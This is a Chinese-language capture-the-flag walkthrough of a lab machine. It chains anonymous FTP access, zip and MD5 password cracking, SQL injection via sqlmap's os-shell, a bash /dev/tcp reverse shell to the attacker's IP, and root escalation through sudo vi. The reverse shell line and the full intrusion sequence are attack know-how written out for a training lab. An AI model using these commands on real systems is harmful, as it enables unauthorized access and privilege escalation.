从FTP到SSH提权 - 起始点

2022-03-08 14:03:07 浏览数 (1)

以下在靶场中属于very easy难度.

ftp匿名登录到提权

0x01. ftp匿名登录

目标靶机IP:10.129.34.101 本机IP:10.10.14.156

Nmap -sS -sC -sV 10.129.34.101 Nmap扫描结果可以看到开启了ftp、ssh、http的端口且操作系统是Linux的

这里ftp可以通过匿名的方式登录,且ftp登录之后有一个backup.zip文件

通过ftp将其下载到本地,打开之后发现这个zip是需要密码来打开的

0x02. John The Ripper

这时候就可以用到kali里面的**john the ripper(开膛手约翰)**来破解密码了。

先提取backup.zip的hash值到hash.txt中,然后将hash.txt中的hash值去和字典中的值进行匹配

因为这个工具好像是有一种缓存机制,第一次破解之后关闭命令行再去破解,就不会显示出密码 需要加上参数 –show才可以看到原本的密码,这里我把backup.zip的名字都修改了- -。

应该是根据文件的hash值进行判断的,这里得到密码 741852963。

将index.php和sytle.css解压出来,css文件中没有什么有用的信息,就是简单的层叠样式表

而index.php中包含了login的账号和密码,密码是md5,撞库一下得到密码为qwerty789

0x03. sql注入Getshell

访问一下web服务,开局一个登录框,直接用刚刚得到的账号密码登录进来

登录进来之后发现只有这个页面,只有一个搜索的功能,目录扫描也没有其他的结果了。

既然有搜索功能,sql注入肯定是要测试一手的,直接一手单引号看有无报错

好了,丢sqlmap跑一手

得到主要信息:数据库为postgresql、当前是dba权限,并且有堆叠注入,–os-shell 跑起来。

可以看到osshell执行命令是成功了的,但是操作还是有点慢,不太方便,把shell给弹出来吧

这里直接使用bash -i >& /dev/tcp/10.10.14.156/1234 0>&1 是不行的,需要用bash -c “bash -i >& /dev/tcp/10.10.14.156/1234 0>&1” 才能反弹

再使用python来获取一个完全交互式的shell python3 -c ‘import pty;pty.spawn(“/bin/bash”)’

stty raw -echo 输入这条命令之后,再使用命令就不会有输入的命令回显了。

0x04. 提权

现在的权限是postgresql的权限,想要查看能够使用哪些命令,但是需要用到密码,这时候需要找到postgresql用户的密码。

目标使用了apache,linux的apache一般来说目录是 /var/www/html

dashboard.php很显眼 仪表板.php,查看一下是否有我们需要的密码

用户名:postgres 密码:P@s5w0rd!

前面nmap扫出来ssh端口也开着的,那么直接使用这个用户名和密码来登录一下ssh看是否成功

知道了密码,那么就可以使用sudo -l 来查看当前权限可以用sudo哪些操作了。

可以看到,这里可以通过运行 sudo /bin/vi 使用 vi 编辑 pg_hba.conf 文件

可以在这里找找是否可以利用这个点进行提权:https://gtfobins.github.io/gtfobins/vi/#sudo

但是当我使用这条命令的时候却提示不允许postgres用户在这里以root权限执行这个命令

Plan A 失败,还有Plan B,用管理员的身份打开文件然后进行编辑

按下冒号,然后输入 shell=/bin/sh 回车,再按下冒号输入 shell

提权成功,拿到flag,学习到了。

0 人点赞